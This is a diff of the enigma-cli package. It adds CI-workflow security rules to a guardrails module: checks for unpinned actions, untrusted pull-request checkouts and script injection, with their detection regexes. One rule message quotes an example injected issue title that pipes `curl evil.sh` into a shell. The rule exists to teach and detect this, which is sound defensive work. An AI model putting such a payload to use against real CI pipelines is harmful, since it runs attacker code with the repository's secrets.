TWOFA_PASSWORD, TWOFA_MITIGATED, TWOFA_WINDOW, LISTBOX_ROLE, LISTBOX_OPEN, LISTBOX_OPTIONS, LISTBOX_MITIGATED, NATIVE_SELECT, NATIVE_SELECT_MAPPED, NATIVE_SELECT_TRIGGER, NATIVE_SELECT_MITIGATED, TOAST_QUEUE, TOAST_TIMER, TOAST_MITIGATED, PALETTE_SHORTCUT, PALETTE_MODIFIER, PALETTE_OPEN, PALETTE_FILTER, PALETTE_MITIGATED, CLIP_ONE_LINE, DYNAMIC_CHILD, VALUE_REACHABLE, WRAPPER_LOOKBACK, ALLOW_CLIPPED_VALUE, CLIPPED_SIMPLE_VALUE, NOT_TEXT_BINDING, ASYNC_ROUTE, SERVER_DATA_AWAIT, STREAM_BOUNDARY, ALLOW_BLOCKING_PAGE, LOADING_BOUNDARY_FILE, SPECIFIER, MODULE_EXT, JS_EXT, tsconfigCache, NAMED_IMPORT, GENERIC_ACCOUNTS, MINIFIED_LINE, CALL_LEAD_JS, CALL_LEAD_PY, CONSTANT_EXPR, SQL_DML, SQL_VALUE_POSITION, SQL_PLACEHOLDER_BUILDER, SQL_SAFE_EXPR, SQL_CALL_JS, SQL_CALL_PY, SHELL_SAFE_EXPR, INSECURE_TLS_JS, INSECURE_TLS_PY, PY_HTTP_CLIENT, LOOPBACK_HINT, TLS_OPERATOR_TOGGLE, CORS_ANY_ORIGIN_JS, CORS_CREDENTIALS_JS, CORS_ANY_ORIGIN_PY, CORS_CREDENTIALS_PY, CORS_WINDOW, PYYAML_IMPORT, PICKLE_FROM_OUTSIDE, RAW_HTML_MARKDOWN, OPT_IN_HTML_MARKDOWN, MARKDOWN_HTML_ON, HTML_SANITIZER, HTML_SINK, RADIX_OVERLAY_MODULE, RADIX_UMBRELLA_PARTS, INTERNAL_MODULE, globCache, DIFF_HUNK, REQUEST_INPUT_JS, REQUEST_INPUT_PY, SSH_HOST_KEY_OFF, OPERAND_BEFORE, OPERAND_AFTER, LITERAL_OPERAND, CONFIGURED_SECRET, PRESENTED_CREDENTIAL, COMPUTED_MAC, SECRET_NAMED, NOT_SECRET_NAMED, REMEMBERED_COPY, SLASH_PREFIX_CHECK, DESTINATION_NAME, GENERIC_PARAM_NAME, NAVIGATION_SINK, DESTINATION_HELPER, SIGN_IN_FILE, RESOLVED_ORIGIN_CHECK, COMPLETE_PREFIX_CHECK, REDIRECT_SINK_JS, REDIRECT_SINK_PY, REDIRECT_VALIDATED, OUTBOUND_JS, OUTBOUND_PY, SSRF_GUARDED, DNS_RESOLUTION, PRIVATE_ADDRESS_CHECK, OUTBOUND_CALL, CONNECTION_PINNED, RESPONSE_TYPE_CALL_JS, RESPONSE_TYPE_KEY_JS, RESPONSE_OPENER_JS, RESPONSE_TYPE_KWARG_PY, RESPONSE_OPENER_PY, STORED_FILE_TYPE, RESPONSE_SANDBOXED, PATH_JOIN_JS, PATH_JOIN_PY, PATH_CONTAINED, TW_HUE, TW_STOP, HEX_COLOR, ALLOW_BRAND_GRADIENT, ALLOW_GRADIENT_TEXT, SHIMMER, TW_LEFT_STRIPE, TW_ROUNDED_LEFT, ALLOW_ACCENT_STRIPE, EMOJI, EMOJI_LEAD, EMOJI_ICON, EMOJI_COMMIT_SAMPLE, TERMINAL_MARKUP, ALLOW_EMOJI_ICON, COPY_PROP, POWERED_BY_BUZZWORD, ALLOW_POWERED_BY, CHAT_RESIDUE, CHAT_LINK, ALLOW_CHAT_RESIDUE, AI_VOCABULARY, SEAMLESS_LITERAL, ALLOW_AI_VOCABULARY, REQUEST_SERVING, READ_BOUND, ALLOW_UNBOUNDED_READ, ALLOW_SELECT_STAR, ORM_READ_CALL, ROW_LOOP, ALLOW_QUERY_IN_LOOP, FIXED_CANVAS_FILE, TW_DECORATION, EMAIL_MARKUP, TW_WIDTH_GUARD, ALLOW_FIXED_WIDTH, TW_VIEWPORT_HEIGHT, DYNAMIC_VIEWPORT, ALLOW_VIEWPORT_HEIGHT, SPARKLES_IMPORT, SPARKLES_NAME, ALLOW_SPARKLES, LEDGER_MAX_BYTES, LEDGER_KEEP, LEDGER_KEEP_REPLY, grEntry, isGrEntry;
|
|
2531
|
+
var COMMENT_LINE, SKELETON_GUARD_SRC, SKELETON_SIGNAL_SRC, INJECTION_EXCLUDES, WORKFLOW_FILES, UI_CODE_FILES, UI_STYLE_FILES, TELL_EXCLUDES, DB_SCRIPT_EXCLUDES, BUILTIN_RULES, PROJECT_CHECKS, CURRENT_PASSWORD, NEW_PASSWORD, NEW_PASSWORD_PROP, NOT_A_JSX_PROP, FILE_CHECKS, FIXERS, SPAWNERS, MUTATING_REQUEST, ENTITY_WRITE, OPTIMISTIC_SIGNAL, ALLOW_SERVER_FIRST, RESULT_BINDING, BLOCK_LOOKBACK, BLOCK_LOOKAHEAD, REVALIDATE_AFTER, PROMISE_FANOUT, FANOUT_LITERAL, FANOUT_MAPPED, FANOUT_OVER_OBJECT, EXPENSIVE_PER_ITEM, CONCURRENCY_BOUND, FANOUT_WINDOW, TEXTAREA, TEXTAREA_LOWER, TEXTAREA_UPPER, TEXTAREA_FIXED, TEXTAREA_AUTOSIZE, VIEW_GUARD, LOADING_NAME, LOADING_VALUE, VIEW_GUARD_LOADING, VIEW_CHROME_HEADING, VIEW_CHROME_TEXT, VIEW_BODY_LOOKAHEAD, ALLOW_VIEW_SKELETON, SKELETON_GUARD, SKELETON_SIGNAL, REMOTE_COLLECTION_BINDINGS, LIST_BOUNDED, ALLOW_UNBOUNDED_LIST, MENU_HANDLER, MENU_POINT, MENU_STATE, MENU_MITIGATED, SELECT_RANGE_KEY, SELECT_ADD_KEY, SELECT_STATE, SELECT_MITIGATED, COLOR_MATHS, COLOR_DRAG, COLOR_MEASURE, COLOR_STATE, COLOR_MITIGATED, LIGHTBOX_IMAGE, LIGHTBOX_WHEEL, LIGHTBOX_ZOOM, LIGHTBOX_DIALOG, LIGHTBOX_MITIGATED, VIDEO_ELEMENT, VIDEO_DRIVEN, VIDEO_TIMELINE, VIDEO_CONTROLS, VIDEO_MITIGATED, TWOFA_SUBJECT, TWOFA_ENROLL, TWOFA_PASSWORD, TWOFA_MITIGATED, TWOFA_WINDOW, LISTBOX_ROLE, LISTBOX_OPEN, LISTBOX_OPTIONS, LISTBOX_MITIGATED, NATIVE_SELECT, NATIVE_SELECT_MAPPED, NATIVE_SELECT_TRIGGER, NATIVE_SELECT_MITIGATED, TOAST_QUEUE, TOAST_TIMER, TOAST_MITIGATED, PALETTE_SHORTCUT, PALETTE_MODIFIER, PALETTE_OPEN, PALETTE_FILTER, PALETTE_MITIGATED, CLIP_ONE_LINE, DYNAMIC_CHILD, VALUE_REACHABLE, WRAPPER_LOOKBACK, ALLOW_CLIPPED_VALUE, CLIPPED_SIMPLE_VALUE, NOT_TEXT_BINDING, ASYNC_ROUTE, SERVER_DATA_AWAIT, STREAM_BOUNDARY, ALLOW_BLOCKING_PAGE, LOADING_BOUNDARY_FILE, SPECIFIER, MODULE_EXT, JS_EXT, tsconfigCache, NAMED_IMPORT, GENERIC_ACCOUNTS, MINIFIED_LINE, CALL_LEAD_JS, CALL_LEAD_PY, CONSTANT_EXPR, SQL_DML, SQL_VALUE_POSITION, SQL_PLACEHOLDER_BUILDER, SQL_SAFE_EXPR, SQL_CALL_JS, SQL_CALL_PY, SHELL_SAFE_EXPR, INSECURE_TLS_JS, INSECURE_TLS_PY, PY_HTTP_CLIENT, LOOPBACK_HINT, TLS_OPERATOR_TOGGLE, CORS_ANY_ORIGIN_JS, CORS_CREDENTIALS_JS, CORS_ANY_ORIGIN_PY, CORS_CREDENTIALS_PY, CORS_WINDOW, PYYAML_IMPORT, PICKLE_FROM_OUTSIDE, RAW_HTML_MARKDOWN, OPT_IN_HTML_MARKDOWN, MARKDOWN_HTML_ON, HTML_SANITIZER, HTML_SINK, RADIX_OVERLAY_MODULE, RADIX_UMBRELLA_PARTS, INTERNAL_MODULE, globCache, DIFF_HUNK, REQUEST_INPUT_JS, REQUEST_INPUT_PY, SSH_HOST_KEY_OFF, ACTION_USES, FULL_SHA, IMAGE_DIGEST, PRIVILEGED_TRIGGER, PR_HEAD_REF, CHECKOUT_SITE, SAME_REPO_GUARD, UNTRUSTED_EVENT_TEXT, SCRIPT_KEY, BLOCK_SCALAR, OPERAND_BEFORE, OPERAND_AFTER, LITERAL_OPERAND, CONFIGURED_SECRET, PRESENTED_CREDENTIAL, COMPUTED_MAC, SECRET_NAMED, NOT_SECRET_NAMED, REMEMBERED_COPY, SLASH_PREFIX_CHECK, DESTINATION_NAME, GENERIC_PARAM_NAME, NAVIGATION_SINK, DESTINATION_HELPER, SIGN_IN_FILE, RESOLVED_ORIGIN_CHECK, COMPLETE_PREFIX_CHECK, REDIRECT_SINK_JS, REDIRECT_SINK_PY, REDIRECT_VALIDATED, OUTBOUND_JS, OUTBOUND_PY, SSRF_GUARDED, DNS_RESOLUTION, PRIVATE_ADDRESS_CHECK, OUTBOUND_CALL, CONNECTION_PINNED, RESPONSE_TYPE_CALL_JS, RESPONSE_TYPE_KEY_JS, RESPONSE_OPENER_JS, RESPONSE_TYPE_KWARG_PY, RESPONSE_OPENER_PY, STORED_FILE_TYPE, RESPONSE_SANDBOXED, PATH_JOIN_JS, PATH_JOIN_PY, PATH_CONTAINED, TW_HUE, TW_STOP, HEX_COLOR, ALLOW_BRAND_GRADIENT, ALLOW_GRADIENT_TEXT, SHIMMER, TW_LEFT_STRIPE, TW_ROUNDED_LEFT, ALLOW_ACCENT_STRIPE, EMOJI, EMOJI_LEAD, EMOJI_ICON, EMOJI_COMMIT_SAMPLE, TERMINAL_MARKUP, ALLOW_EMOJI_ICON, COPY_PROP, POWERED_BY_BUZZWORD, ALLOW_POWERED_BY, CHAT_RESIDUE, CHAT_LINK, ALLOW_CHAT_RESIDUE, AI_VOCABULARY, SEAMLESS_LITERAL, ALLOW_AI_VOCABULARY, REQUEST_SERVING, READ_BOUND, ALLOW_UNBOUNDED_READ, ALLOW_SELECT_STAR, ORM_READ_CALL, ROW_LOOP, ALLOW_QUERY_IN_LOOP, FIXED_CANVAS_FILE, TW_DECORATION, EMAIL_MARKUP, TW_WIDTH_GUARD, ALLOW_FIXED_WIDTH, TW_VIEWPORT_HEIGHT, DYNAMIC_VIEWPORT, ALLOW_VIEWPORT_HEIGHT, SPARKLES_IMPORT, SPARKLES_NAME, ALLOW_SPARKLES, LEDGER_MAX_BYTES, LEDGER_KEEP, LEDGER_KEEP_REPLY, grEntry, isGrEntry;
|
|
2447
2532
|
var init_guardrails = __esm({
|
|
2448
2533
|
"src/guardrails.ts"() {
|
|
2449
2534
|
"use strict";
|
|
@@ -2479,6 +2564,7 @@ var init_guardrails = __esm({
|
|
|
2479
2564
|
"vendor/**",
|
|
2480
2565
|
"**/site-packages/**"
|
|
2481
2566
|
];
|
|
2567
|
+
WORKFLOW_FILES = [".github/workflows/*.yml", ".github/workflows/*.yaml", "**/.github/workflows/*.yml", "**/.github/workflows/*.yaml"];
|
|
2482
2568
|
UI_CODE_FILES = ["*.tsx", "*.jsx", "*.vue", "*.svelte", "*.astro", "*.html", "*.htm"];
|
|
2483
2569
|
UI_STYLE_FILES = [...UI_CODE_FILES, "*.css", "*.scss", "*.sass", "*.less"];
|
|
2484
2570
|
TELL_EXCLUDES = [...INJECTION_EXCLUDES, "**/stories/**", "stories/**", "**/.storybook/**", "*.story.*"];
|
|
@@ -4832,6 +4918,38 @@ var init_guardrails = __esm({
|
|
|
4832
4918
|
severity: "block",
|
|
4833
4919
|
skill: "security-policy"
|
|
4834
4920
|
},
|
|
4921
|
+
// CI workflows (ci-policy). Measured over the reference repos' workflow files (guardrails.md, "CI WORKFLOW RULES").
|
|
4922
|
+
{
|
|
4923
|
+
id: "ci-action-unpinned",
|
|
4924
|
+
label: "Third-party actions are pinned to a commit SHA",
|
|
4925
|
+
files: [...WORKFLOW_FILES, "action.yml", "action.yaml"],
|
|
4926
|
+
scope: "file",
|
|
4927
|
+
stage: "diff",
|
|
4928
|
+
fileCheck: "ci-action-unpinned",
|
|
4929
|
+
message: "This step runs a third-party action (or reusable workflow) by a tag or branch, and whoever controls that repository can move the tag to new code after you reviewed it - the tj-actions/changed-files compromise in March 2025 rewrote every tag to dump CI secrets. Pin the full 40-character commit SHA with the version as a comment: `uses: owner/action@<sha> # v4.2.1` (resolve it with `gh api repos/<owner>/<action>/commits/<tag> --jq .sha`), and let Dependabot (`package-ecosystem: github-actions`) or Renovate move the pin. A container image is pinned by `@sha256:` digest. Mark the line `enigma:allow-unpinned-action` for an action this organization owns and releases itself (ci-policy).",
|
|
4930
|
+
severity: "block",
|
|
4931
|
+
skill: "ci-policy"
|
|
4932
|
+
},
|
|
4933
|
+
{
|
|
4934
|
+
id: "ci-untrusted-checkout",
|
|
4935
|
+
label: "Privileged workflows never run a pull request's code",
|
|
4936
|
+
files: WORKFLOW_FILES,
|
|
4937
|
+
scope: "file",
|
|
4938
|
+
fileCheck: "ci-untrusted-checkout",
|
|
4939
|
+
message: "This workflow runs on `pull_request_target` or `workflow_run`, which carry the base repository's secrets and a write token, and it checks out the pull request's own code. Any build, install or test step that follows runs code a fork author wrote, with those secrets (a \"pwn request\"). Run the untrusted code under `pull_request` (no secrets, read-only token) and, if a privileged step is needed, pass it only data through an artifact that the `workflow_run` job reads without executing. Mark the line `enigma:allow-untrusted-checkout` when the checked-out files are only read as data and nothing from them is executed or installed (ci-policy).",
|
|
4940
|
+
severity: "block",
|
|
4941
|
+
skill: "ci-policy"
|
|
4942
|
+
},
|
|
4943
|
+
{
|
|
4944
|
+
id: "ci-script-injection",
|
|
4945
|
+
label: "Untrusted event text never reaches a script directly",
|
|
4946
|
+
files: [...WORKFLOW_FILES, "action.yml", "action.yaml"],
|
|
4947
|
+
scope: "file",
|
|
4948
|
+
fileCheck: "ci-script-injection",
|
|
4949
|
+
message: 'This script interpolates text that anyone who opens an issue or pull request controls (a title, body, comment, branch name or commit message) with `${{ }}`. Actions substitutes it into the script BEFORE the shell or JavaScript runs, so a title like `"; curl evil.sh | sh #` becomes code with the job\'s token and secrets. Pass it through an environment variable and quote it: `env: TITLE: ${{ github.event.issue.title }}` then `"$TITLE"` in the script (or `process.env.TITLE` in github-script) (ci-policy).',
|
|
4950
|
+
severity: "block",
|
|
4951
|
+
skill: "ci-policy"
|
|
4952
|
+
},
|
|
4835
4953
|
{
|
|
4836
4954
|
id: "sec-secret-compare-timing",
|
|
4837
4955
|
label: "Secrets are compared in constant time",
|
|
@@ -5142,6 +5260,9 @@ var init_guardrails = __esm({
|
|
|
5142
5260
|
"sec-markdown-html-unsanitized": (content) => unsanitizedMarkdownHtml(content),
|
|
5143
5261
|
"fe-radix-overlay-no-portal": (content) => radixContentWithoutPortal(content),
|
|
5144
5262
|
"sec-ssh-host-key-unverified": (content) => unverifiedSshHostKey(content),
|
|
5263
|
+
"ci-action-unpinned": (content) => unpinnedWorkflowAction(content),
|
|
5264
|
+
"ci-untrusted-checkout": (content) => untrustedCheckout(content),
|
|
5265
|
+
"ci-script-injection": (content) => untrustedTextInScript(content),
|
|
5145
5266
|
"sec-secret-compare-timing": (content, file) => timingUnsafeSecretCompare(content, file),
|
|
5146
5267
|
"sec-redirect-prefix-check": (content, file) => redirectPrefixCheck(content, file),
|
|
5147
5268
|
"sec-open-redirect-from-input": (content, file) => redirectFromInput(content, file),
|
|
@@ -5336,6 +5457,16 @@ var init_guardrails = __esm({
|
|
|
5336
5457
|
/\bknown_hosts\s*=\s*None\s*[,)]/,
|
|
5337
5458
|
/\bssh\.InsecureIgnoreHostKey\s*\(/
|
|
5338
5459
|
];
|
|
5460
|
+
ACTION_USES = /^\s*(?:-\s+)?uses:\s*["']?([^\s"'#]+)/;
|
|
5461
|
+
FULL_SHA = /^[0-9a-f]{40}$/i;
|
|
5462
|
+
IMAGE_DIGEST = /@sha256:[0-9a-f]{64}$/i;
|
|
5463
|
+
PRIVILEGED_TRIGGER = /\b(?:pull_request_target|workflow_run)\b/;
|
|
5464
|
+
PR_HEAD_REF = /\$\{\{[^}]*\b(?:github\.event\.pull_request\.(?:head\.(?:sha|ref)|merge_commit_sha)|github\.head_ref|github\.event\.workflow_run\.head_(?:sha|branch))\b|refs\/pull\/(?:\$\{\{[^}]*\}\}|[^\s"'/]+)\/(?:head|merge)\b/;
|
|
5465
|
+
CHECKOUT_SITE = /^\s*(?:-\s+)?ref:|\bgit\s+(?:fetch|checkout|switch|pull|worktree)\b|\bgh\s+pr\s+checkout\b/;
|
|
5466
|
+
SAME_REPO_GUARD = /\b(?:workflow_run\.head_repository|pull_request\.head\.repo)\.full_name\s*==\s*github\.repository\b|\bgithub\.repository\s*==\s*github\.event\.(?:workflow_run\.head_repository|pull_request\.head\.repo)\.full_name\b|\b(?:workflow_run\.head_repository|pull_request\.head\.repo)\.fork\s*==\s*false\b|!\s*github\.event\.(?:workflow_run\.head_repository|pull_request\.head\.repo)\.fork\b(?!\s*==)/;
|
|
5467
|
+
UNTRUSTED_EVENT_TEXT = /\$\{\{[^}]*?\b(github\.head_ref|github\.event\.(?:issue|pull_request|discussion)\.(?:title|body)|github\.event\.(?:comment|review|review_comment)\.body|github\.event\.pages\b[^}]*?\.page_name|github\.event\.head_commit\.(?:message|author\.(?:email|name))|github\.event\.commits\b[^}]*?\.(?:message|author\.(?:email|name))|github\.event\.pull_request\.head\.(?:ref|label|repo\.default_branch)|github\.event\.workflow_run\.(?:head_branch|display_title|head_commit\.message))\b/;
|
|
5468
|
+
SCRIPT_KEY = /^(\s*)(-\s+)?(?:run|script):\s*(.*)$/;
|
|
5469
|
+
BLOCK_SCALAR = /^[|>][-+0-9]*\s*(?:#.*)?$/;
|
|
5339
5470
|
OPERAND_BEFORE = /((?:`[^`]*`)|[A-Za-z_$][\w$]*(?:\??\.[A-Za-z_$][\w$]*|\[[^\]\n]{1,60}\]|\((?:[^()\n]|\([^()\n]*\))*\))*)\s*$/;
|
|
5340
5471
|
OPERAND_AFTER = /^\s*((?:`[^`]*`)|(?:await\s+)?[A-Za-z_$][\w$]*(?:\??\.[A-Za-z_$][\w$]*|\[[^\]\n]{1,60}\]|\((?:[^()\n]|\([^()\n]*\))*\))*)/;
|
|
5341
5472
|
LITERAL_OPERAND = /^(?:null|undefined|true|false|None|True|False|NaN|\d[\w.]*|["'][^"']*["']|`[^`$]*`)$/;
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "enigma-cli",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.62.0",
|
|
4
4
|
"description": "Everything you need to work with a coding agent: install shared policy skills for Claude Code, OpenAI Codex and opencode, and set up portable git security hooks.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|